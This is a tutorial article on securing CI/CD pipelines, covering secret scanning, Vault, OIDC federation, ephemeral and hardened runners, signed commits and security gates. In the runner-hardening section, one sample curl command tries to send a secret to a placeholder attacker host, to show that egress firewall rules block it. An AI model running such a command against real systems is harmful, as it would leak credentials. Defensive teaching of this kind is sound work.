Back to Software Engineering & Delivery Mastery Series

Part 24: Secure CI/CD Pipelines & Secret Management

May 13, 2026 Wasil Zafar 40 min read

Your CI/CD pipeline is both your greatest productivity accelerator and your largest attack surface. This article teaches you to harden pipelines against secret exfiltration, pipeline poisoning, and supply chain compromise — while keeping developer velocity high.

Table of Contents

  1. Introduction
  2. Threat Model for CI/CD
  3. Secret Management
  4. Secret Storage Solutions
  5. OIDC for CI/CD
  6. Least-Privilege Runners
  7. Pipeline Poisoning Prevention
  8. Signed Commits & Verified Builds
  9. Audit Logging & Compliance
  10. Container Security in CI
  11. Security Gates in Pipelines
  12. Exercises
  13. Conclusion & Next Steps

Introduction

In 2021, the Codecov breach exposed secrets from thousands of CI/CD pipelines when attackers modified a single Bash script used in build processes. In 2022, the CircleCI incident compromised customer environment variables and tokens stored within the platform. These attacks share a common theme: CI/CD pipelines are high-value targets because they hold the keys to production.

Your pipeline is the most privileged system in your organisation. It has credentials to deploy to production, access to secret stores, permission to push container images, and authority to modify infrastructure. If an attacker compromises your pipeline, they effectively own your entire system.

Key Insight: A CI/CD pipeline is the crown jewel of your infrastructure. It has more combined privileges than any single developer, any single server, or any single service account. Securing it must be a top priority — not an afterthought bolted on after the first incident.

Why Pipeline Security Matters

Traditional application security focuses on the code you write. Pipeline security focuses on the machinery that builds, tests, and deploys that code. The attack surface is fundamentally different:

  • Blast radius — A single compromised pipeline can affect every service it deploys
  • Stealth — Pipeline attacks can inject malicious code that passes all tests because the tests themselves are compromised
  • Persistence — Attackers can maintain access by modifying CI configuration files
  • Privilege escalation — Build systems often have more permissions than the application itself

The pipeline poisoning threat has become so significant that OWASP now includes "Insecure CI/CD" in their top supply chain risks, and NIST's SSDF (Secure Software Development Framework) explicitly addresses build system security.

Threat Model for CI/CD

Before hardening a pipeline, you need a clear threat model. Who are the attackers? What do they want? How might they get it? The following diagram maps the primary attack vectors against a typical CI/CD pipeline:

CI/CD Pipeline Attack Surface
flowchart TD
    A[Source Code Repository] -->|1. Malicious PR| B[CI Pipeline]
    A -->|2. Compromised Dependency| B
    B -->|3. Secret Exfiltration| C[Secret Store]
    B -->|4. Build Manipulation| D[Artifact Registry]
    D -->|5. Tampered Image| E[Production Environment]
    F[Developer Workstation] -->|6. Stolen Credentials| A
    G[Third-Party Integration] -->|7. Compromised Plugin| B
    H[Self-Hosted Runner] -->|8. Persistent Backdoor| B

    style A fill:#f9f,stroke:#333
    style B fill:#ff9,stroke:#333
    style E fill:#f66,stroke:#333
                            

Attack Vectors Explained

Vector Description Real-World Example
Malicious PR Attacker submits PR that modifies CI config to exfiltrate secrets GitHub Actions workflow_run exploitation
Compromised Dependency Upstream package is hijacked and CI fetches malicious version event-stream (2018), ua-parser-js (2021)
Secret Exfiltration Build script sends secrets to external server via environment variables Codecov (2021)
Build Manipulation Injecting malicious code during build that bypasses source review SolarWinds Orion (2020)
Tampered Artifact Replacing a legitimate image in registry with a backdoored version Docker Hub malicious images
Stolen Credentials Using compromised developer tokens to push directly Gentoo Linux GitHub hack (2018)
Plugin Compromise Third-party CI plugin is updated with malicious code Jenkins plugin vulnerabilities
Runner Persistence Attacker persists on self-hosted runner between builds Non-ephemeral runner exploitation

Poisoned Pipeline Execution (PPE)

PPE is a class of attacks where an attacker modifies CI/CD pipeline configuration files to execute malicious code during the build process. There are three variants:

  • Direct PPE (D-PPE) — Attacker directly modifies CI config in the main branch (requires write access)
  • Indirect PPE (I-PPE) — Attacker modifies files referenced by CI config (Makefiles, scripts, Dockerfiles) without changing the CI config itself
  • Public PPE (3PE) — Attacker submits a PR from a fork that triggers CI with modified workflow
Critical Warning: If your CI system runs pipeline configuration from unreviewed pull requests, any external contributor can execute arbitrary code in your build environment with access to your secrets. This is the single most common pipeline security vulnerability.

Secret Management

Secrets — API keys, database passwords, TLS certificates, OAuth tokens — are the lifeblood of modern applications. They're also the most common target in CI/CD attacks. A single leaked credential can compromise entire systems.

Why Hardcoded Secrets Kill

Despite decades of warnings, hardcoded secrets remain one of the most prevalent vulnerabilities. A 2023 GitGuardian study found over 10 million secrets exposed in public repositories in a single year. The reasons are predictable:

  • Convenience — Copy-paste is easier than proper secret management
  • Ignorance — Developers don't realise that git history is permanent
  • Testing shortcuts — "I'll remove it before the PR" (they don't)
  • Configuration drift — What starts as a test value becomes production

Once a secret is committed to git, even if removed in the next commit, it persists in history. Automated scanners continuously mine public repositories for exposed credentials, and exploitation happens within minutes of exposure.

Secret Scanning Tools

Pre-commit hooks and CI checks can catch secrets before they enter the repository. Here are the leading tools:

# Install gitleaks (Go binary)
brew install gitleaks

# Scan the entire repository history
gitleaks detect --source . --verbose

# Scan only staged changes (pre-commit hook)
gitleaks protect --staged --verbose

# Custom rules configuration
cat .gitleaks.toml
[extend]
useDefault = true

[[rules]]
id = "custom-api-key"
description = "Custom API key pattern"
regex = '''MYAPP_[A-Z]+_KEY\s*=\s*['"][a-zA-Z0-9]{32,}['"]'''
tags = ["key", "custom"]
# Install truffleHog
pip install trufflehog

# Scan git history for high-entropy strings
trufflehog git file://. --only-verified

# Scan a specific branch
trufflehog git file://. --branch main --only-verified

# Include results in CI pipeline (exit code 1 on findings)
trufflehog git file://. --fail --only-verified
# GitHub Actions: Secret scanning with gitleaks
name: Secret Scan
on: [push, pull_request]

jobs:
  gitleaks:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - uses: gitleaks/gitleaks-action@v2
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          GITLEAKS_LICENSE: ${{ secrets.GITLEAKS_LICENSE }}
Best Practice: Layer your secret detection: (1) IDE plugins for instant feedback, (2) pre-commit hooks to block commits, (3) CI pipeline scanning for enforcement, and (4) periodic full-history scans for retroactive detection. Defence in depth applies to secrets too.

Secret Storage Solutions

Proper secret storage requires centralised management, access control, audit logging, and automatic rotation. The following table compares the leading solutions:

Feature HashiCorp Vault AWS Secrets Manager Azure Key Vault GCP Secret Manager
Dynamic Secrets ✅ Native ⚠️ Lambda rotation ⚠️ Function rotation ⚠️ Cloud Function
Multi-Cloud ✅ Any provider ❌ AWS only ❌ Azure only ❌ GCP only
OIDC Integration ✅ JWT auth ✅ IAM roles ✅ Managed Identity ✅ Workload Identity
Auto-Rotation ✅ Built-in ✅ Built-in ✅ Event-driven ✅ Pub/Sub triggers
Audit Logging ✅ Detailed ✅ CloudTrail ✅ Monitor logs ✅ Cloud Audit
Cost Model Self-hosted / HCP Per-secret + API calls Per-operation Per-version + access

Dynamic Secrets

Dynamic secrets are generated on-demand with a short TTL and automatically revoked after use. They eliminate the risk of credential reuse and long-lived tokens:

# HashiCorp Vault: Enable database secrets engine
vault secrets enable database

# Configure PostgreSQL connection
vault write database/config/mydb \
    plugin_name="postgresql-database-plugin" \
    allowed_roles="readonly" \
    connection_url="postgresql://{{username}}:{{password}}@db.example.com:5432/mydb" \
    username="vault_admin" \
    password="vault_admin_password"

# Create a role with short-lived credentials (1 hour TTL)
vault write database/roles/readonly \
    db_name="mydb" \
    creation_statements="CREATE ROLE \"{{name}}\" WITH LOGIN PASSWORD '{{password}}' VALID UNTIL '{{expiration}}'; GRANT SELECT ON ALL TABLES IN SCHEMA public TO \"{{name}}\";" \
    default_ttl="1h" \
    max_ttl="24h"

# Generate dynamic credentials (unique per request)
vault read database/creds/readonly
# Key             Value
# lease_id        database/creds/readonly/abc123
# lease_duration  1h
# username        v-token-readonly-xYz789
# password        A1b2C3d4E5f6G7h8
Case Study

Shopify's Secret Management at Scale

Shopify manages over 50,000 secrets across thousands of microservices. Their approach: (1) All secrets in Vault with dynamic credentials where possible, (2) OIDC-based authentication for CI/CD — zero static tokens, (3) Automatic rotation every 24 hours for static secrets, (4) Real-time alerting on unusual secret access patterns. Result: Zero secret-related breaches since adopting this model in 2020, despite being a high-value target processing billions in transactions.

Vault Dynamic Secrets OIDC

OIDC for CI/CD

OpenID Connect (OIDC) federation is the modern approach to authenticating CI/CD pipelines to cloud providers. Instead of storing long-lived cloud credentials as CI secrets, the pipeline requests a short-lived token during execution using its identity as proof.

OIDC Token Exchange Flow
sequenceDiagram
    participant GH as GitHub Actions
    participant GHOIDC as GitHub OIDC Provider
    participant AWS as AWS STS
    participant S3 as AWS S3 Bucket

    GH->>GHOIDC: Request OIDC token (JWT)
    GHOIDC-->>GH: Signed JWT (sub: repo, aud: sts.amazonaws.com)
    GH->>AWS: AssumeRoleWithWebIdentity(JWT)
    AWS->>GHOIDC: Verify JWT signature
    GHOIDC-->>AWS: Valid token confirmed
    AWS-->>GH: Temporary credentials (15min-1hr)
    GH->>S3: Upload artifact with temp credentials
    Note over GH,S3: Credentials expire automatically
                            

GitHub Actions OIDC Configuration

Here's a complete OIDC setup for GitHub Actions deploying to AWS without any stored AWS credentials:

# .github/workflows/deploy.yml
name: Deploy to AWS (OIDC)
on:
  push:
    branches: [main]

permissions:
  id-token: write   # Required for OIDC
  contents: read    # Required for checkout

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Configure AWS credentials via OIDC
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeployRole
          role-session-name: github-actions-deploy
          aws-region: us-east-1
          # No access-key-id or secret-access-key needed!

      - name: Deploy to S3
        run: aws s3 sync ./dist s3://my-app-bucket --delete

      - name: Invalidate CloudFront
        run: |
          aws cloudfront create-invalidation \
            --distribution-id E1234567890 \
            --paths "/*"
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:ref:refs/heads/main"
        }
      }
    }
  ]
}
Key Insight: The sub claim condition is critical. It restricts which repository, branch, and environment can assume the role. Without it, any repository in your GitHub organisation could assume the role. Always use the most restrictive condition possible — pin to specific repo + branch + environment.

Least-Privilege Runners

CI/CD runners are the compute layer where your builds execute. If a runner is compromised, the attacker gains access to everything that runs on it. The principle of least privilege demands that runners have only the permissions they need, for only as long as they need them.

Ephemeral Runners

Ephemeral runners are created fresh for each job and destroyed immediately after. They prevent persistence attacks because there is no state to exploit between builds:

# GitHub Actions: Ephemeral self-hosted runner (auto-scales)
# Using actions-runner-controller (ARC) on Kubernetes
apiVersion: actions.summerwind.dev/v1alpha1
kind: RunnerDeployment
metadata:
  name: ephemeral-runners
spec:
  replicas: 0  # Scale from zero
  template:
    spec:
      ephemeral: true  # Runner de-registers after one job
      repository: my-org/my-repo
      labels:
        - self-hosted
        - linux
        - ephemeral
      dockerEnabled: false  # No Docker-in-Docker (security)
      resources:
        limits:
          cpu: "2"
          memory: "4Gi"
---
apiVersion: actions.summerwind.dev/v1alpha1
kind: HorizontalRunnerAutoscaler
metadata:
  name: ephemeral-runner-autoscaler
spec:
  scaleTargetRef:
    name: ephemeral-runners
  minReplicas: 0
  maxReplicas: 20
  scaleUpTriggers:
    - githubEvent:
        workflowJob: {}
      duration: "30m"

Self-Hosted Runner Hardening

When you must use self-hosted runners (for specialised hardware, compliance, or network access), apply these hardening measures:

  • Network isolation — Runners should only access the resources they need; block outbound internet except allow-listed endpoints
  • Separate runner groups — Production deployment runners must be separate from PR validation runners
  • No persistent storage — Wipe the workspace between jobs; use ephemeral volumes
  • Read-only filesystems — Mount the OS filesystem read-only; only the workspace directory is writable
  • Minimal tooling — Install only required tools; no compilers, debuggers, or network utilities beyond what's needed
  • Monitoring — Log all processes, network connections, and file access on runners
# Runner hardening: restrict outbound network access
# iptables rules for CI runner (allow only essential services)
iptables -A OUTPUT -d 10.0.0.0/8 -j ACCEPT         # Internal services
iptables -A OUTPUT -d 140.82.112.0/20 -j ACCEPT    # GitHub API
iptables -A OUTPUT -d 185.199.108.0/22 -j ACCEPT   # GitHub packages
iptables -A OUTPUT -p tcp --dport 443 -d registry.npmjs.org -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -d pypi.org -j ACCEPT
iptables -A OUTPUT -j DROP                           # Block everything else

# Verify: attempt to exfiltrate data fails
curl -s https://evil-server.example.com/exfil?data=secret
# curl: (7) Failed to connect - Connection refused

Pipeline Poisoning Prevention

Pipeline poisoning occurs when an attacker modifies CI/CD configuration or build scripts to inject malicious behaviour. Prevention requires a multi-layered approach combining access controls, review processes, and runtime protections.

Branch Protection Rules

# GitHub repository settings (via API or UI)
# Branch protection for 'main':
branch_protection:
  required_pull_request_reviews:
    required_approving_review_count: 2
    dismiss_stale_reviews: true
    require_code_owner_reviews: true
  required_status_checks:
    strict: true  # Branch must be up-to-date
    contexts:
      - "ci/build"
      - "ci/test"
      - "security/scan"
  enforce_admins: true  # Even admins can't bypass
  restrictions:
    teams: ["platform-team"]  # Only platform team can push
  required_linear_history: true
  allow_force_pushes: false
  allow_deletions: false

CODEOWNERS for Pipeline Files

# .github/CODEOWNERS
# Pipeline configuration requires platform team review
.github/workflows/    @my-org/platform-security
Dockerfile            @my-org/platform-security
docker-compose*.yml   @my-org/platform-security
Makefile              @my-org/platform-security
scripts/ci/           @my-org/platform-security
terraform/            @my-org/platform-security @my-org/infra-team
.gitlab-ci.yml        @my-org/platform-security
Jenkinsfile           @my-org/platform-security

# Package manifests (supply chain)
package-lock.json     @my-org/security-team
go.sum                @my-org/security-team
requirements.txt      @my-org/security-team

Fork Isolation

Pull requests from forks should never have access to repository secrets. Configure your CI to treat fork PRs differently:

# GitHub Actions: Separate workflows for forks vs internal PRs
name: CI (Fork Safe)
on:
  pull_request:
    # This runs in the context of the fork — no secrets available
    types: [opened, synchronize]

jobs:
  build-and-test:
    runs-on: ubuntu-latest
    # No secrets available here for fork PRs
    steps:
      - uses: actions/checkout@v4
      - run: npm ci
      - run: npm test

  # Only runs for internal PRs (not forks)
  integration-test:
    if: github.event.pull_request.head.repo.full_name == github.repository
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci
      - name: Run integration tests
        env:
          DATABASE_URL: ${{ secrets.TEST_DATABASE_URL }}
        run: npm run test:integration

Signed Commits & Verified Builds

Code signing provides non-repudiation — cryptographic proof that a specific person authored a specific change. In a secure pipeline, only signed commits should be deployable to production.

GPG and SSH Signing

# SSH signing (simpler than GPG, recommended for most teams)
# Generate a signing key
ssh-keygen -t ed25519 -f ~/.ssh/signing_key -C "signing"

# Configure git to use SSH signing
git config --global gpg.format ssh
git config --global user.signingkey ~/.ssh/signing_key.pub
git config --global commit.gpgsign true
git config --global tag.gpgsign true

# Verify a signed commit
git log --show-signature -1
# Good "git" signature for wasil@example.com with ED25519 key SHA256:abc123...
# Sigstore gitsign: Keyless signing via OIDC
# No key management needed — uses your identity provider
brew install sigstore/tap/gitsign

# Configure git to use gitsign
git config --global commit.gpgsign true
git config --global gpg.x509.program gitsign
git config --global gpg.format x509

# Sign a commit (opens browser for OIDC auth)
git commit -m "feat: add feature"
# [main abc1234] feat: add feature (signed by wasil@example.com via Sigstore)

Requiring Signed Commits in CI

# GitHub Actions: Verify commit signatures
name: Verify Signatures
on: [push, pull_request]

jobs:
  verify-signatures:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Verify all commits are signed
        run: |
          UNSIGNED=$(git log --format='%H %G?' origin/main..HEAD | grep -v ' G$' | grep -v ' U$')
          if [ -n "$UNSIGNED" ]; then
            echo "ERROR: Unsigned commits found:"
            echo "$UNSIGNED"
            exit 1
          fi
          echo "All commits are signed ✓"

Audit Logging & Compliance

For SOC2, ISO 27001, PCI-DSS, and HIPAA compliance, you need complete audit trails of your delivery pipeline. Every deployment must answer: Who approved it, what changed, when it deployed, and where it went.

Deployment Records

import json
import datetime
import hashlib

def create_deployment_record(deploy_info):
    """Generate an immutable deployment audit record."""
    record = {
        "deployment_id": deploy_info["id"],
        "timestamp": datetime.datetime.utcnow().isoformat() + "Z",
        "service": deploy_info["service"],
        "version": deploy_info["version"],
        "environment": deploy_info["environment"],
        "deployer": {
            "identity": deploy_info["actor"],
            "method": "oidc",  # How they authenticated
            "ip_address": deploy_info["source_ip"]
        },
        "approval": {
            "pr_number": deploy_info["pr_number"],
            "approvers": deploy_info["approvers"],
            "approved_at": deploy_info["approved_at"]
        },
        "artifact": {
            "image": deploy_info["image"],
            "digest": deploy_info["image_digest"],
            "sbom_hash": deploy_info["sbom_sha256"]
        },
        "change_ticket": deploy_info.get("ticket_id"),
        "rollback_version": deploy_info["previous_version"]
    }

    # Create tamper-evident hash
    record["integrity_hash"] = hashlib.sha256(
        json.dumps(record, sort_keys=True).encode()
    ).hexdigest()

    return record

# Example usage
record = create_deployment_record({
    "id": "deploy-2026-05-13-001",
    "service": "payment-api",
    "version": "v2.14.3",
    "environment": "production",
    "actor": "ci-bot@github-oidc",
    "source_ip": "10.0.1.50",
    "pr_number": 1847,
    "approvers": ["alice@example.com", "bob@example.com"],
    "approved_at": "2026-05-13T10:30:00Z",
    "image": "registry.example.com/payment-api:v2.14.3",
    "image_digest": "sha256:abc123def456...",
    "sbom_sha256": "sha256:789ghi012jkl...",
    "ticket_id": "CHG-4521",
    "previous_version": "v2.14.2"
})
print(json.dumps(record, indent=2))

Container Security in CI

Container images built in CI are the artefacts that actually reach production. Securing the build process prevents supply chain attacks at the last mile.

Secure Dockerfile Patterns

# Multi-stage build with minimal final image
# Stage 1: Build (has compilers, dev tools)
FROM golang:1.22-alpine AS builder
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -ldflags="-s -w" -o /app/server

# Stage 2: Runtime (minimal attack surface)
FROM gcr.io/distroless/static-debian12:nonroot
COPY --from=builder /app/server /server

# Run as non-root user (UID 65534)
USER nonroot:nonroot

# Read-only filesystem
# (enforced at runtime via Kubernetes securityContext)
ENTRYPOINT ["/server"]
# Kubernetes: Security context for CI-built containers
apiVersion: apps/v1
kind: Deployment
metadata:
  name: payment-api
spec:
  template:
    spec:
      securityContext:
        runAsNonRoot: true
        runAsUser: 65534
        fsGroup: 65534
        seccompProfile:
          type: RuntimeDefault
      containers:
        - name: payment-api
          image: registry.example.com/payment-api:v2.14.3@sha256:abc123
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities:
              drop: ["ALL"]
          volumeMounts:
            - name: tmp
              mountPath: /tmp
      volumes:
        - name: tmp
          emptyDir:
            sizeLimit: "100Mi"

Security Gates in Pipelines

Security gates are automated checkpoints in your pipeline that block or warn on security issues. They shift security left without slowing delivery — when properly calibrated.

Security Gates in a Delivery Pipeline
flowchart LR
    A[Code Push] --> B[Secret Scan]
    B --> C[SAST]
    C --> D[Build]
    D --> E[Container Scan]
    E --> F[SCA / License]
    F --> G[DAST]
    G --> H[Deploy Staging]
    H --> I[Penetration Test]
    I --> J[Deploy Production]

    B -->|FAIL| X[Block Merge]
    C -->|HIGH/CRITICAL| X
    E -->|CRITICAL CVE| X
    F -->|Copyleft License| X
    G -->|OWASP Top 10| X

    style X fill:#f66,stroke:#333
    style J fill:#6f6,stroke:#333
                            

Gate Configuration: Fail vs Warn

Gate Block (Fail Build) Warn (Non-Blocking) Tools
Secret Scanning Any detected secret gitleaks, truffleHog
SAST Critical/High severity Medium/Low severity Semgrep, CodeQL, SonarQube
Container Scan Critical CVEs with fix available High CVEs, no fix available Trivy, Grype, Snyk Container
SCA Known exploited vulnerabilities High CVSS without exploit Dependabot, Snyk, OWASP DC
License Scan Copyleft (GPL) in proprietary code Weak copyleft (LGPL) FOSSA, Snyk, license-checker
DAST OWASP Top 10 findings Informational findings OWASP ZAP, Burp Suite
# Complete security pipeline with gates
name: Security Pipeline
on:
  pull_request:
    branches: [main]

jobs:
  secret-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - uses: gitleaks/gitleaks-action@v2

  sast:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: returntocorp/semgrep-action@v1
        with:
          config: >-
            p/owasp-top-ten
            p/javascript
            p/python
          generateSarif: "1"

  container-scan:
    needs: [secret-scan, sast]
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Build image
        run: docker build -t app:${{ github.sha }} .
      - name: Scan with Trivy
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: app:${{ github.sha }}
          exit-code: "1"
          severity: "CRITICAL"
          ignore-unfixed: true

  sca:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Dependency check
        uses: dependency-check/Dependency-Check_Action@main
        with:
          project: "my-app"
          format: "SARIF"
          args: --failOnCVSS 9
Case Study

Netflix's Paved Road Security

Netflix implements security gates through their "Paved Road" philosophy. Instead of blocking developers with mandatory gates, they provide secure-by-default tooling that makes the secure path the easiest path. Their internal CI platform automatically applies container scanning, SAST, and dependency analysis — developers don't configure these; they simply exist. Teams that deviate from the paved road must explicitly opt out and accept risk. This approach achieves 95% adoption of security controls without creating bottlenecks. The remaining 5% receive extra scrutiny through periodic security reviews.

Paved Road Secure by Default Developer Experience

Exercises

Exercise 1: Secret Scanning Setup
Configure gitleaks as a pre-commit hook in a test repository. Intentionally commit a fake AWS access key (AKIA... format) and verify the hook blocks the commit. Then configure a GitHub Actions workflow to scan PR commits. Document the two-layer approach and explain why both layers are needed.
Exercise 2: OIDC Authentication
Set up a GitHub Actions workflow that authenticates to AWS using OIDC (no stored credentials). The workflow should: (1) assume a role, (2) list S3 buckets, (3) upload a test file. Configure the IAM trust policy to restrict access to only your specific repository and branch. Verify that a workflow running on a different branch is denied access.
Exercise 3: Pipeline Hardening Audit
Take an existing CI/CD pipeline (your own or an open-source project) and audit it against this checklist: (1) Are secrets injected or hardcoded? (2) Do fork PRs have access to secrets? (3) Are runners ephemeral? (4) Who can modify CI configuration? (5) Are commits signed? (6) Are artifacts signed/verified? Score the pipeline 0-6 and propose remediation for each gap.
Exercise 4: Security Gate Design
Design a security gate configuration for a financial services application. Define: (1) Which scans are blocking vs warning, (2) Severity thresholds for each gate, (3) Exception workflow for known false positives, (4) SLA for resolving warned items, (5) Metrics to track gate effectiveness. Present your design as a YAML configuration with comments explaining each decision.

Conclusion & Next Steps

Securing your CI/CD pipeline is not a one-time project — it's an ongoing practice that evolves with your threat landscape. The key principles are clear: eliminate static credentials (use OIDC), assume breach (ephemeral runners, least privilege), verify everything (signed commits, signed artifacts), and detect anomalies (audit logging, monitoring).

The investment pays dividends beyond security. Teams with hardened pipelines deploy with more confidence, recover faster from incidents, and spend less time on compliance evidence collection because it's automated.

Next in the Series

In Part 25: DORA Metrics & Delivery Performance, we'll learn to measure what matters — the four key metrics that predict software delivery performance and organisational outcomes.